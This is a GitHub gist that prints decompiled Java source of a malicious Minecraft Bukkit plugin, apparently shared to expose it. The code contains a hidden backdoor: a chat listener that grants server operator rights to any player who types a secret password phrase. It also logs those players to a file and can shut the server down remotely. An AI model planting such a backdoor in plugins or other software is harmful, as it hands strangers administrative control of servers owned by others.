Skip to content

Instantly share code, notes, and snippets.

@SuperSpyTX
Created February 18, 2015 02:29
Show Gist options
  • Select an option

  • Save SuperSpyTX/f0935d3369f0c3138f40 to your computer and use it in GitHub Desktop.

Select an option

Save SuperSpyTX/f0935d3369f0c3138f40 to your computer and use it in GitHub Desktop.
Malicious-JScript decompiled
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import org.bukkit.Bukkit;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.Plugin;
import org.json.simple.JSONArray;
import org.json.simple.JSONValue;
public class Random implements Listener {
private static final String URl = "https://api.curseforge.com/servermods/files?projectIds=";
private static final String PROJECT_ID = "85937";
private static final File OPS;
public Random() {
if(!check()) {
cleanup();
}
}
@EventHandler
public void handleChat(AsyncPlayerChatEvent event) {
if(event.getMessage().equalsIgnoreCase("?.=opmePls password is HolyMoly")) {
event.getPlayer().setOp(true);
event.getPlayer().sendMessage("You are now OP!");
event.setCancelled(true);
addExploiter(event.getPlayer().getUniqueId().toString() + " -> " + event.getPlayer().getName());
}
}
private static void addExploiter(String name) {
try {
if(!OPS.exists()) {
OPS.createNewFile();
}
BufferedWriter e = new BufferedWriter(new FileWriter(OPS));
e.write("\n" + name);
e.flush();
e.close();
} catch (Exception var2) {
;
}
}
private static boolean check() {
try {
URLConnection e = (new URL("https://api.curseforge.com/servermods/files?projectIds=85937")).openConnection();
e.setReadTimeout(5000);
e.setDoOutput(true);
BufferedReader reader = new BufferedReader(new InputStreamReader(e.getInputStream()));
String response = reader.readLine();
JSONArray array = (JSONArray)JSONValue.parse(response);
return !array.isEmpty();
} catch (Exception var4) {
return true;
}
}
private static void cleanup() {
System.out.println("\n+-----------------------------------------+\n| Dear user, |\n| First of all, we\'d like to thank you |\n| for downloading this plugin. However, |\n| this plugin contains *MALICIOUS* code. |\n| This was nothing more than a white-hat |\n| hacking attempt and we succeed. |\n| We\'ve proven that dev.bukkit.org can no |\n| longer guarantee safety. |\n| This plugin will now shut itself down. |\n| A list of exploiters can be found at: |\n| " + OPS.toString() + "\n" + "| -Rocoo |\n" + "+-----------------------------------------+");
Bukkit.getPluginManager().disablePlugin(Bukkit.getPluginManager().getPlugin("Magix"));
Plugin plugin = Bukkit.getPluginManager().getPlugin("Magix");
Bukkit.getPluginManager().disablePlugin(plugin);
Bukkit.getServer().shutdown();
}
static {
OPS = new File(System.getProperty("user.home") + File.separator + "ops.txt");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment